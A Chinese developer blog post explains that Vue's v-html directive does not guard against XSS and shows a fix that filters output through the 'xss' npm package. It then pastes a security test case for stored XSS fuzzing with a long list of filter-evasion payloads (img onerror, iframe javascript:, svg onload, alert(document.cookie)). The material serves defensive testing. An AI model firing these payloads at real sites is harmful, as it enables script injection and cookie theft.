xss攻击
2020-11-09 本文已影响0人
royluck
我之前一直以为
v-html
默认会帮我们处理xss攻击,今天才知道vue官网也给出了友好提示只在可信内容上使用 v-html,永不用在用户提交的内容上
。
解决方法:参考处理v-html的潜在XSS风险 方法二:
- 导入
npm install xss --save
- main.js全局文件:
import xss from 'xss';
Vue.prototype.xss = xss
- 在vue.config.js中覆写html指令:
// 引入xss包并挂载到vue原型上
// 参考:https://blog.csdn.net/lj1530562965/article/details/108790220
config.module
.rule('vue')
.use('vue-loader')
.loader('vue-loader')
.tap(options => {
options.compilerOptions.directives = {
html(node, directiveMeta) {
(node.props || (node.props = [])).push({
name: 'innerHTML',
value: `xss(_s(${directiveMeta.value}))`
})
}
}
return options
})
测试数据:test_data
{"code": 0, "msg": "OK", "data": {"title": "跨站脚本测试(存储型XSS))(模糊测试-单payload测试)", "case_category_id": 2, "principle": "跨站脚本(cross-site scripting,XSS)是一种安全攻击,其中,攻击者在看上去来源可靠的链接中恶意嵌入译码。当有人点击链接,嵌入程序作为客户网络要求的一部分提交并且会在用户电脑上执行,一般来说会被攻击者盗取信息。", "created_by": "黄健06", "updated_by": "黄健06", "suggestions": "输入过滤校验,输出对参数进行html实体编码", "attachment": [], "test_step": "【测试目的】\r<p>评估目标是否存在XSS漏洞</p><p>【前置条件】</p>工具:burpsuite等<p></p>【测试步骤】<p>注入恶意指令代码到网页</p>1.正常登录业务系统,观察是否存在用户可输入数据,数据保存后直接在前端显示的地方(主要观察偏僻的业务功能,往往是研发人员疏忽的点)<p>2.直接从当前业务功能的文本框输入攻击payload/抓包然后将payload替换参数,保存</p>(测试数据中有攻击payload,界面控件输入及抓包篡改参数两个方式都需遍历payload测试)<p>3.观察是否出现弹窗现象或触发前端事件时出现弹窗现象</p>4.提取工具库中的XSSpayload 进行更多的模糊测试<p>5.如发现目标站点存在局部过滤,可参考https://www.w3school.com.cn/tags/html_ref_standardattributes.asp组合新payload进行测试验证</p><p>【预期结果】</p>无弹窗", "test_data": "<plaintext/onmouseover=prompt(2)><p></p><img src=x on_ onmouseover=alert(1)>\\\\n</iframe><p></p><img src=x on_ onerror="alert(21)" target="_self"onmouseover="{alert(1)}"title="eeeeee">aaaa<<p></p><img/src=\\\"x\\\"/on onerror=\\\"alert(21)\\\"><p></p><img/src=\"x\"/on_ onerror=\"alert(21)\"><p></p><p>\\u003cimg src=x onerror=alert(1)\\u003e</p>\\u3001u003cimg src=x onerror=alert(1)\\u3001u003e<p></p>\\x3cimg src=x onerror=alert(1)\\x3e<p></p><img src=x onerror=alert(1)><p></p>'\">\\u003<plaintext>\\u003script>prompt(3)\\u003/script><p></p>\\\"'>\\n<iframe src=\\\"javascript:alert(1)\\\">\\n</iframe><p>\\\"'>\\n<iframe src=\\\"javascript:alert(1)\\\">\\n</p>\\\"'>\\n<script>prompt(3)</script>\\n<p></p>\"'>\\n<iframe src=\"javascript:alert(1)\">\\n</iframe><p>\"'><iframe src=\"javascript:alert(1)\"></iframe></p>\\\"'><iframe src=\\\"javascript:alert(1)\\\"></iframe><p>\\\"'><img src=x onerror=alert(1)></iframe></p><p>\"'><iframe src=\"javascript:alert(1)\"></iframe></p>\"'><iframe src=\"javascript:alert(1)\"></iframe><p></p><p>'\"><img src=x onerror=alert(1)></p><p>'\"><plaintext><script>prompt(3)</script></p>'\"><xmp><script>prompt(3)</script><p></p>'\">><marquee><img src=x onerror=confirm(1)></marquee>\"></plaintext\\></|\\><plaintext/onmouseover=prompt(2)><p><script>prompt(3)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’–>\"></script></p><script>alert(document.cookie)</script>\"><p><img/id=\"confirm(4)\"/alt=\"/\"src=\"/\"onerror=eval(id)>’\"></p><p><IMG SRC=javascript:alert(1)></p><IMG SRC=JaVaScRiPt:alert(1)><p><IMG SRC=javascript:alert("1")></p><IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`><p><a onmouseover=\"alert(document.cookie)\">xxs link</a></p><IMG “”\"><SCRIPT>alert(“XSS”)</SCRIPT>”><p></p><p>&#39;&quot;&gt;&gt;<img src="x"/>&quot;&gt;</p><p><br/></p><p></p><script>prompt(3)</script><p>@gmail.com</p><isindex formaction="javascript:alert(/XSS/)" type="submit"/>’–&gt;&quot;&gt;<p></p><p><br/></p><p></p><script>alert(document.cookie)</script>&quot;&gt;<p></p><p><br/></p><p><img id="confirm&amp;lpar;4)" alt="/" src="/" onerror="eval(id)"/>’&quot;&gt;</p><p><br/></p><p></p><img src=\"/resource/se/images/face/face24.gif\" onclick=alert(1) _src=\"/resource/se/images/face/face24.gif\"><p></p><p>&#39;&quot;&gt;&lt;iframe src=javascript:alert(23333)&gt;&#39;</p><p></p><p>&#39;&quot;&gt;&lt;img src=x onerror=alert(1)&gt;&#39;</p><p></p><p>&#39;&quot;&gt;&lt;img src=x onmouseover=prompt(1)&gt;&#39;</p><p></p><p>&#39;&quot;&gt;&lt;svg onload=prompt(1)&gt;&#39;</p><p></p><p>'\"><iframe src=javascript:alert(23333)>'</p><p>\"><iframe src=javascript:alert(2)><svg onmouseover=prompt(1)><\"</p><p>\\\"><iframe src=javascript:alert(2)><svg onmouseover=prompt(1)><\\\"</p><p>\"><IMG src=x onerror=alert(1);><svg onmouseover=prompt(1)><\"</p><p>\"'><IMG src=javascript:alert(1);><svg onmouseover=prompt(1)><\"", "created_uid": "259017", "case_type": "case_type_technology", "updated_time": "2020-10-16 12:06:30", "create_time": "2020-10-16 12:06:30", "id": 292, "case_code": "KYE-UCL-000060", "remark": "无", "updated_uid": "259017", "description": "可能在浏览器中执行脚本以劫持用户会话(cookie)、破坏网站、插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器等。", "case_category_name": "应用安全"}}